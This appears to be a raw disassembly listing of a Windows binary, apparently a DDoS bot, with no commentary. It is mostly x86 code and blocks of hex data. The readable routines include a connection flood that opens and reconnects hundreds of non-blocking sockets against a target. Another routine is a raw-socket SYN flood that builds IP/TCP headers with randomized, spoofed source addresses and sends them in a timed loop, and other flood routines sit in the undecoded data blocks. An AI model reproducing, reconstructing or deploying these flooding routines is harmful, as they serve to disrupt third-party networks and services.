call sub_413694
add esp, 20h
test eax, eax
jnz short loc_413A1A
push 1
pop eax
loc_413A1A: ; CODE XREF: ___:00413A15j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_413A29 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6643o
dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h
dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h
dd 0FF000001h, 4CBA5415h, 0FFF88300h, 75FC4589h, 6815FF5Fh
dd 50004CB9h, 0FC44858Dh, 0C468FFFFh, 50004379h, 87E9E8h
dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh
dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h
dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h
dd 59FFFF7Ch, 0E8905759h, 230C53Ch, 6AF44D8Dh, 0FF335104h
dd 5057026Ah, 0FFF45D89h, 4CB9B415h, 0FFF88300h, 15FF5D75h
dd 4CB968h, 44858D50h, 68FFFFFCh, 437994h, 8770E850h, 0C4830000h
dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h
dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh, 858D14C4h
dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h, 5959FFFFh
dd 0C4C6E857h, 8D900230h, 0FFFE4885h, 15FF50FFh, 4CBA14h
dd 75FFF883h, 44858D55h, 68FFFFFCh, 437974h, 8708E850h
dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh
dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh
dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h
dd 575959FFh, 0C45EE890h, 106A0230h, 57E4458Dh, 83C2E850h
dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9D415FFh, 8966004Ch
dd 858DE645h, 0FFFFFE48h, 1415FF50h, 8B004CBAh, 4270B035h
dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0E74005C6h
dd 0FF45004Ch, 4CB9D415h, 0D47D3900h, 0E742A366h, 8966004Ch
dd 4CE7441Dh, 3D896600h, 4CE746h, 0E74805C6h, 8880004Ch
dd 4CE7491Dh, 3D896600h, 4CE74Ah, 87E83074h, 8B000086h
dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h
dd 8E3C1D8h, 8669E8h, 6AD80300h, 4C1D8901h, 5B004CE7h
dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA1415h
dd 0E74CA300h, 458B004Ch, 0E750A3E8h, 37E8004Ch, 99000086h
dd 100B9h, 88F9F700h, 4CE75415h, 8624E800h, 0B9990000h
dd 100h, 1588F9F7h, 4CE755h, 8611E8h, 0F0B99900h, 68000000h
dd 400h, 8966F9F7h, 4CE7563Dh, 1D896600h, 4CE75Ah, 15896642h
dd 4CE758h, 85E9E8h, 0FFB99900h, 0F7000000h, 5C6852F9h
dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h
dd 68000004h, 4CE740h, 0FFFC75FFh, 4CBA3815h, 0FFF88300h
dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 6C15FFFCh, 0FF004CBAh
dd 4CB96815h, 858D5000h, 0FFFFFE48h, 500875FFh, 43792C68h
dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h
dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h
dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 75E89057h
dd 0FF0230C2h, 15FFFC75h, 4CBA6Ch, 3308458Bh, 3CC06BD2h
dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378E068h
dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh
dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh
dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
dd 0CFE8C875h, 59FFFF78h, 0F1E85759h, 900230C1h
dword_413E10 dd 0B8EC8B55h, 10320h, 86E3E8h, 8458B00h, 6A575653h, 59F08B49h
; DATA XREF: sub_401ACD+542Do
dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 5C15FF00h
dd 89004CB9h, 858D0845h, 0FFFFFF40h, 1415FF50h, 8B004CBAh
dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 5815FF50h
dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
dd 0FCBC858Dh, 1C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h
dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh
dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h
dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh
dd 0C132E890h, 0C33B0230h, 408B0C74h, 8B008B0Ch, 0FC458900h
dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h
dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
dd 4CB8ECh, 0C0753B46h, 75FFDA7Ch, 8C15FF08h, 8D004CBAh
dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 4379F068h, 0FE85000h
dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh
dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh
dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h
dd 59FFFF77h, 65E85359h, 900230C0h
dword_413F9C dd 0B8EC8B55h, 10310h, 8557E8h, 8458B00h, 6A575653h, 59F08B49h
; DATA XREF: sub_401ACD+5679o
dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0F2E89000h
dd 50022BCCh, 82E7E8h, 116A5900h, 26A026Ah, 0BA5415FFh
dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h, 0C4830000h
dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA14h
dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA5815h
dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 7068FFFFh
dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h
dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
dd 0E075FF00h, 0FF7665E8h, 565959FFh, 0BF86E890h, 408B0230h
dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 2FE81175h
dd 99000082h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h
dd 4CB9D4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 81E1E8h
dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h
dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
dd 0FEFCF085h, 0FF5350FFh, 4CBA3815h, 0D875FF00h, 0C38DE890h
dd 754E022Ah, 0DC7D39CEh, 83E8BC75h, 99000081h, 0FFDCB9h
dd 42F9F700h, 0D415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h
dd 50FFFFFFh, 0FCCC858Dh, 4468FFFFh, 5000437Ah, 80F9E8h
dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh
dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh
dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h
dd 575959FFh, 30BE4FE8h
db 2, 90h
word_4141B2 dw 8B55h ; DATA XREF: sub_401ACD+4CC4o
dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h
dd 0FFFBEC85h, 7A9868FFh, 0E8500043h, 805Eh, 0C483F633h
dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h, 858D14C4h
dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h, 5959FFFFh
dd 0B1E89056h, 5F0230BDh
; ---------------------------------------------------------------------------
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414251 proc near ; CODE XREF: ___:0041433Ap
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4CB9D4
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_41430F
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_41429C: ; CODE XREF: sub_414251+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142A4: ; CODE XREF: sub_414251+7Aj
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_4142C7
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
nop
call near ptr 71AB155Ah
loc_4142C7: ; CODE XREF: sub_414251+64j
add esi, 4
dec ebx
jnz short loc_4142A4
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142D5: ; CODE XREF: sub_414251+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
nop
call near ptr 71AB3E5Dh
add esi, 4
dec ebx
jnz short loc_4142D5
push 64h
nop
call near ptr 26C04BFh
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142F9: ; CODE XREF: sub_414251+B4j
push dword ptr [esi]
nop
call near ptr 71AB1A6Dh
add esi, 4
dec ebx
jnz short loc_4142F9
dec [ebp+arg_4]
jnz short loc_41429C
pop edi
pop esi
pop ebx
loc_41430F: ; CODE XREF: sub_414251+3Ej
xor eax, eax
leave
retn
sub_414251 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40A8F0
push dword ptr [esp+18h]
mov edi, eax
call sub_41C159
push dword ptr [esp+20h]
mov ebx, eax
call sub_41C159
mov esi, eax
push esi
push ebx
push edi
call sub_414251
add esp, 18h
test eax, eax
jnz short loc_414349
push 1
pop eax
loc_414349: ; CODE XREF: ___:00414344j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
dword_414358 dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h
; DATA XREF: sub_401ACD+636Bo
dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AC4h, 7EB8E850h
dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h
dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
dd 0FFFF72EAh, 90565959h, 30BC0BE8h
; ---------------------------------------------------------------------------
add bl, [edi+5Eh]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4143F7 proc near ; CODE XREF: ___:004146E5p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB944
test eax, eax
jz short loc_414437
xor eax, eax
jmp loc_4146A5
; ---------------------------------------------------------------------------
loc_414437: ; CODE XREF: sub_4143F7+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CBA78
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_41469D
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4CB9B4
cmp eax, 0FFFFFFFFh
jz loc_414693
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_4CB9D4
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4CB9D4
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4CB9D4
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4CB9D4
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
nop
call near ptr 27D0435h
lea eax, [ebp+var_8]
push eax
nop
call near ptr 27D016Bh
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41DB20
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_414522: ; CODE XREF: sub_4143F7+25Dj
; sub_4143F7+26Bj
mov [ebp+var_24], bx
call sub_41C2C2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB9D4
mov [ebp+var_34], ax
call sub_41C2C2
mov edi, eax
shl edi, 10h
call sub_41C2C2
or edi, eax
push edi
call dword_4CB9D4
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB9D0
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB9D4
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41CD20
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BF70
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4CBA38
cmp eax, 0FFFFFFFFh
jz short loc_414667
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
nop
call near ptr 27D016Bh
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_414690
jl loc_414522
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_414690
jmp loc_414522
; ---------------------------------------------------------------------------
loc_414667: ; CODE XREF: sub_4143F7+247j
call dword_4CB968
push eax
lea eax, [ebp+var_F4]
push offset dword_437AEC
push eax
call sub_41C266
lea eax, [ebp+var_F4]
push eax
call sub_415D38
add esp, 10h
jmp short loc_414693
; ---------------------------------------------------------------------------
loc_414690: ; CODE XREF: sub_4143F7+25Bj
; sub_4143F7+269j
mov ebx, [ebp+arg_8]
loc_414693: ; CODE XREF: sub_4143F7+78j
; sub_4143F7+297j
push [ebp+var_C]
call dword_4CBA6C
pop esi
loc_41469D: ; CODE XREF: sub_4143F7+5Bj
call dword_4CB92C
mov eax, ebx
loc_4146A5: ; CODE XREF: sub_4143F7+3Bj
pop edi
pop ebx
leave
retn
sub_4143F7 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40A8F0
push dword ptr [esp+18h]
mov esi, eax
call sub_41C159
push dword ptr [esp+20h]
mov ebx, eax
call sub_41C159
mov edi, eax
call sub_41C2C2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4143F7
add esp, 1Ch
test eax, eax
jnz short loc_4146F4
push 1
pop eax
loc_4146F4: ; CODE XREF: ___:004146EFj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_414703 db 55h ; DATA XREF: sub_401ACD+6D3Do
dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh
dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh
dd 7A25h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
dd 5DE8h, 50595900h, 0FC6C858Dh, 0C68FFFFh, 5000437Bh
dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh
dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
dd 3BE8F075h, 59FFFF6Fh, 0E8905659h, 230B85Ch, 8B555E5Fh
dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah
dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h
dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h
dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9E815FFh, 75FF004Ch
dd 5815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h
dd 15FFF445h, 4CBA54h, 56D84D8Dh, 6A026A51h, 45895000h
dd 0B415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h
dd 4270B0h, 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9D415FFh, 8966004Ch
dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh
dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh
dd 4DD45C6h, 0E8D45589h, 79A6h, 0E0458966h, 799DE8h, 990A6A00h
dd 66F9F759h, 0B095448Bh, 0D415FF50h, 56004CB9h, 0E2458966h
dd 0B9D415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h, 0E6A0000h
dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh
dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h
dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA3815FFh
dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh
dd 4CBA6C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
byte_4149C1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5306o
dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h
dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270B0h
dd 0E850D7FFh, 78ACh, 0FF6859h, 36A0000h, 15FF026Ah, 4CBA54h
dd 89FFF883h, 6675FC45h, 0B96815FFh, 8D50004Ch, 0FFFBC085h
dd 7C2468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh
dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h
dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h
dd 535959FFh, 30B577E8h, 4D8D9002h, 51046ACCh, 5053026Ah
dd 0FFCC7589h, 4CB9B415h, 0FFF88300h, 15FF6675h, 4CB968h
dd 0C0858D50h, 68FFFFFBh, 437BECh, 77ACE850h, 0C4830000h
dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh
dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h
dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
dd 0D7E8FFFFh, 59FFFF6Bh, 0F9E85359h, 900230B4h, 0FDC4858Dh
dd 0FF50FFFFh, 4CBA1415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
dd 437BCC68h, 3BE85000h, 39000077h, 0FFFF589Dh, 755959FFh
dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh
dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh
dd 0E8905359h, 230B488h, 458D106Ah, 0E85053BCh, 73ECh
dd 660CC483h, 2BC45C7h, 15FF5300h, 4CB9D4h, 0BE458966h
dd 0FDC4858Dh, 0FF50FFFFh, 4CBA1415h, 0C0458900h, 0FF085D89h
dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B9D415FFh
dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 0C7E82D74h, 8B000076h
dd 8E6C1F0h, 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h
dd 8E6C1F0h, 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
dd 0FFFDC0B5h, 5DD8E8FFh, 5059FFFFh, 0BA1415FFh, 4589004Ch
dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h
dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0D415FFFFh
dd 66004CB9h, 0E8EA4589h, 7656h, 401B999h, 0F9F70000h
dd 0D415FF52h, 68004CB9h, 12345678h, 0E8458966h, 0B9D015FFh
dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B0D0h, 7642E850h
dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch
dd 68FFFFFEh, 42AEE8h, 7622E850h, 85590000h, 97459C0h
dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE0h
dd 7602E850h, 85590000h, 257459C0h, 75D9E8h, 99036A00h
dd 89F9F759h, 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h
dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
dd 4CB9D4h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h
dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 0D415FF06h
dd 66004CB9h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
dd 7FCBE8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh
dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h
dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h
dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h
dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch
dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h
dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh
dd 0FFFC75FFh, 4CBA3815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
dd 75FFFFFFh, 6C15FFFCh, 0FF004CBAh, 4CB96815h, 858D5000h
dd 0FFFFFDC4h, 500875FFh, 437B7C68h, 0C0858D00h, 68FFFFFBh
dd 200h, 753AE850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h
dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 8DE85359h
dd 900230B1h, 0FFFC75FFh, 4CBA6C15h, 8458B00h, 0C06BD233h
dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
dd 437B2C68h, 0AFE85000h, 83000073h, 9D391CC4h, 0FFFFFF58h
dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh
dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h
